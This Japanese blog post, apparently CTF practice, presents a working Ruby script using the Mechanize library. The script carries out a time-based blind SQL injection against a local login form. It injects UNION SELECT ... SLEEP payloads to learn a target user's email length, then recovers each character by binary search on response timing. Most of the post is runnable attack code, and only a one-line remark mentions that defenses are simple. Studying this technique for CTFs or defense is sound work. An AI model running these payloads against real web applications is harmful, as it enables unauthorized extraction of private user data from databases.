Time-based SQLインジェクションをRubyで(2) (Mechanizeバージョン)

  • Mechanizeでも書いておく
  • メールアドレスの長さまでは分からないので、何回ループさせればよいか分からないと思っていた(終了判定の条件が分からず結果が~.comzzzzzzz...とかになる)
  • あらかじめ調べればよいことに気づいた

メールアドレスの長さをあらかじめ調べます。

require "mechanize"
require "benchmark"


agent = Mechanize.new { |agent|
  agent.user_agent_alias = "Mac Safari"
}
agent.max_history = 1


# 攻撃対象のページ(フォーム部分)
url = "http://localhost:4002/blind_time/b.html"


# メールアドレスの長さをあらかじめ調べる
sleep_sec = 1.5    # 条件成立時のスリープ秒数
email_length = 0
agent.get(url) do |page|
  for n in 1..20    # この部分だけは適宜変更する(カラムの最大文字数は不明)

    # フォームを取得
    form = page.forms[0]

    # ユーザ名は判明している仮定
    form["user"] = <<-SQL
    \" UNION SELECT
    IF(
      LENGTH(email) = #{n},
      SLEEP(#{sleep_sec}),
      0
    ),
    2, 3 FROM bin WHERE user = "taro"; -- 
    SQL

    # レスポンスが返るまでの時間を計測
    elapsed = Benchmark.realtime do
      form.click_button
    end
    # puts "elapsed: #{elapsed}"

    # スリープ秒を超えた場合に確定
    if elapsed >= sleep_sec
      email_length = n
      break
    end

  end
end
puts "email length: #{email_length}"

判明したメールアドレス長を利用します。これなら余分なリクエストをせずに
済みます(というかそもそも二分探索だけでメールアドレスの終端を検知する
ことができない)。
今回はメールアドレスを取得するのが目的だったため、得られた文字列の終端を
外観から判断できていました(.com、.ne.jp等で終わるはず)。

# メールアドレスを取得する
r = 33..122    # (印字可能な?)ASCIIコードの範囲
ra = r.to_a
base = ""

# 先頭のページを取得
agent.get(url) do |page|
  
  # email_length文字だけ調べればよい(!)
  email_length.times do

    # 探索範囲
    min = ra.min
    max = ra.max
    mid = min + (max - min) / 2

    # 文字が特定されるまで探索範囲を絞り込む
    while min != max

      # フォーム取得&値の入力
      form = page.forms[0]
      form["user"] = <<-SQL
      \" UNION SELECT
      IF(
        (
          ORD(SUBSTR(email, #{base.length + 1}, 1)) >= #{min}
          AND
          ORD(SUBSTR(email, #{base.length + 1}, 1)) <= #{mid}
        ),
        SLEEP(#{sleep_sec}),
        0
      ), 2, 3 FROM bin WHERE user = "taro"; -- 
      SQL

      # レスポンスが返るまでの時間を計測
      elapsed = Benchmark.realtime do
        form.click_button
      end

      # 探索範囲を更新
      if elapsed >= sleep_sec
        max = mid
      else
        min = mid + 1
      end
      mid = min + (max - min) / 2
      
    end    # of while min != max

    base += min.chr
    puts base

  end    # of n.times do
end    # of agent.get do
puts base

まとめ

  • 相変わらず対策はシンプルだが、攻撃方法は多岐にわたる
  • 条件式に該当するレコード各々で指定秒数スリープするため(少なくともMySQLで)、WHERE句でレコードを1件に絞り込んだ場合に攻撃が行いやすくなる
  • 従って、既に判明している情報が存在する状況で→他のカラムを取得したい場合が対象となると思われる(今回はユーザー名とメールアドレス、というかCTFの問題が解きたい(がサイト側に迷惑&負荷をかけたくない)だけなのでした)

The defense measure is simple, but there are a variety of attacks.
(防御方法はシンプルだが、攻撃方法は多岐にわたる)